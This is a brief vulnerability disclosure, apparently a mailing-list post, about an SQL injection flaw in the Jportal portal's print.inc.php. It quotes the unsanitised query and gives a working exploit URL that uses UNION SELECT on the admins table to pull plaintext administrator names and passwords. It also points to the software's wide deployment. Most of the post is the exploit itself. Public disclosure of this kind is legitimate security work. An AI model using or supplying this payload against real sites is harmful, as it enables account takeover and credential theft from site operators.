Jportal is a portal system, quite commonly used: (Google) Results 1 - 10 of about 56,100 for "powered by jportal". (0.22 seconds) Homepage: http://jportal2.com/ I've read its code and found: in module/print.inc.php: function art_print() { .... $query = "SELECT * FROM $art_tbl WHERE id=$id"; ... } What to say? ;] example exploitation: http://xxxxx/print.php?what=article&id=X AND 1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1 result: unhashed admin password. There are a lot more bugs in it, imho whole system should be rewritten from a scratch (also using password hashing is a good thing i think :) Maciek 'ziemniaq' Wierci?ski